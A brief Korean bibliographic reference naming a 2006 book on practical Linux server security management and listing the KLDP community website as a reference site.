리눅스 서버 보안 관리 실무 (홍석범, 2006.8, (주)슈퍼유저코리아)

- 참고 사이트
http://kldp.org